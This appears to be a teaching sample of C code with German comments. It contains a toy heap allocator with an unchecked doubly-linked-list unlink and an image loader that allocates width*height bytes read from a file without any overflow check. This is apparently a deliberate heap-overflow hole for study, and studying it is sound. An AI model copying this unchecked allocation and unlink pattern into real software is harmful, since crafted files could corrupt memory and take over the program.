// Testen, ob der darauffolgende Block auch frei ist
if ( 0 == hdr->next->used ) {
// neue Größe dieses Blockes aus der Summe beider
hdr->size += hdr->next->size + sizeof( HeapHdr_t );

// Nun muss der nachfolgende Block aus der doppelt verketteten
// Liste entfernt werden. Dazu wird zuerst der prev Zeiger des
// Nachfolgers des nächsten Blockes auf diesen Block verbogen:
if ( NULL != hdr->next->next )
hdr->next->next->prev = hdr->next->prev;
// Nun wird der aktuelle Nachfolger auf den Nachfolger des
// nächsten Blockes umgelegt:
hdr->next = hdr->next->next;
// Damit ist der Block hdr->next aus der doppelt verketteten
// Liste entfernt worden
}
}


#define HEAP_SIZE ( 4096 * 1024 )
int _tmain(int argc, _TCHAR* argv[])
{
void *myHeap;
HeapHdr_t *myRoot;

HANDLE hFile;
unsigned int width, height;
unsigned int bytesIn;
unsigned char *image;

if ( 2 != argc )
{
fprintf( stderr, "Usage: %s <filename>\n", argv[0] );
return ( -2 );
}

if ( NULL == ( myHeap = LocalAlloc( LPTR, HEAP_SIZE ) ) )
{
fprintf( stderr, "LocalAlloc failed\n");
return ( -1 );
}

printf( "Initialisiere den SimpleHeap ...\n" );
myRoot = Init_SimpleHeap( myHeap, HEAP_SIZE );

//
// Datei oeffnen
//
if ( INVALID_HANDLE_VALUE ==
( hFile = CreateFile( argv[1], FILE_READ_DATA, 0, 0, OPEN_EXISTING, 0, 0 ) ) )
{
fprintf( stderr, "Failed to open %s\n", argv[1] );
return ( -3 );
}

//
// Die Breite des Bildes lesen
//

if ( ! ReadFile( hFile, &width, sizeof(width), (LPDWORD) &bytesIn, 0 ) )
{
fprintf( stderr, "Failed to read width from file\n" );
return ( -4 );
}

//
// Die Hoehe des Bildes lesen
//

if ( ! ReadFile( hFile, &height, sizeof( height ), (LPDWORD) &bytesIn, 0 ) ) {
fprintf( stderr, "Failed to read heigth from file\n" );
return ( -5 );
}

//
// Speicher auf dem SimpleHeap reservieren
//

printf( "Reserviere Speicher fuer %u x %u Pixel: %u Bytes\n",
width, height, width * height );

image = ( unsigned char * ) SimpleHeap_alloc( width * height, myRoot );

printf( "Zeiger *image = %p\n", image );

//
// Bild lesen
//
for ( unsigned int i = 0; i < height; i++ ) {

unsigned char *line;

//
// Speicher fuer eine Bildzeile reservieren
//
printf( "Reserviere %u Bytes fuer eine Bildzeile\n", width );

line = ( unsigned char *) SimpleHeap_alloc( width, myRoot );

printf( "Zeiger *line = %p\n", line );

if ( ! ReadFile( hFile, line, width, (LPDWORD) &bytesIn, 0 ) )
{
fprintf( stderr, "Failed to read image line %u\n", i );
return ( -6 );
}

//
// Daten in das Bild kopieren
//

memcpy( image + ( i * width ), line, bytesIn );

//
// Speicher wieder freigeben
//

SimpleHeap_free( line );

if ( bytesIn != width )
{
fprintf( stderr, "Short or broken image\n" );
return ( -7 );
}
}

SimpleHeap_free( image );

//
// ende verwende
//

LocalFree( (HLOCAL) myHeap );

return 0;
} (ju)